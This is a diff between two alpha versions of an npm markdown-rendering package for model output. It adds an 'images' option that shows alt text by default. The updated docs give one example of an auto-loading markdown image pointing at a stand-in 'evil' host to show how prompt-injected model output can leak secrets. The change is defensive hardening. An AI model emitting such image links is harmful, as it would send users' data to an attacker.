@livx.cc/bare-v3 0.1.0-alpha.58 → 0.1.0-alpha.59

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -136,6 +136,7 @@ class MarkdownStreamOptions {
136
136
  code = codeBlock;
137
137
  tones = { paid: "success", done: "success", ok: "success", active: "success", pending: "warning", overdue: "danger", failed: "danger", blocked: "danger", draft: "info" };
138
138
  html = "escape";
139
+ images = "alt";
139
140
  markedOptions = {};
140
141
  }
141
142
 
@@ -304,6 +305,10 @@ class MarkdownStream {
304
305
  html(t) {
305
306
  return opts.html === "render" ? false : t.block ? `<p>${esc(t.text.trim())}</p>` : esc(t.text);
306
307
  },
308
+ image({ href, text }) {
309
+ const allow = opts.images === "render" || typeof opts.images === "function" && opts.images(href ?? "");
310
+ return allow ? false : esc(text);
311
+ },
307
312
  list(t) {
308
313
  if (!t.items.some((i) => i.task))
309
314
  return false;
@@ -1,5 +1,5 @@
1
1
  {
2
- "version": "0.1.0-alpha.58",
2
+ "version": "0.1.0-alpha.59",
3
3
  "cssSha256": "62ad706c9dd78119844d5d40373e218cc7c6668f7d433a60f82f8fbb3ba21348",
4
4
  "classes": [
5
5
  "b3-accordion",
@@ -37,9 +37,11 @@ Any markdown-speaking model works with no prompt: standard markdown is upgraded
37
37
  `Marked`, `sanitize` (both required), `directives` (name → `(token, ctx) => html`; unknown names
38
38
  fall back to `callout`), `fences` (lang → `(text, ctx) => html`), `code` (`(text, lang) => html`),
39
39
  `tones` (cell text → tone), `markedOptions` (extra `marked.use()` input), `html` (`'escape'` default |
40
- `'render'`). Maps merge over the built-ins, so adding one renderer keeps the rest. Everything a renderer
40
+ `'render'`), `images` (`'alt'` default | `'render'` | `(src) => boolean`). Maps merge over the built-ins, so adding one renderer keeps the rest. Everything a renderer
41
41
  returns is sanitized.
42
42
 
43
+ - **Images show their alt text by default**: an auto-loading `![x](https://evil/?d=secret)` would leak
44
+ data from prompt-injected output. Allow trusted sources only, e.g. `images: (src) => src.startsWith('/uploads/')`.
43
45
  - **Raw HTML is shown as text by default**: `Use <Button variant="x">` or `a <div> … </div>` in model
44
46
  output (coding agents write JSX) renders as literal tags, not live DOM. `html: 'render'` passes it
45
47
  through `sanitize` instead, for hosts whose content is trusted HTML.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@livx.cc/bare-v3",
3
- "version": "0.1.0-alpha.58",
3
+ "version": "0.1.0-alpha.59",
4
4
  "type": "module",
5
5
  "files": [
6
6
  "dist",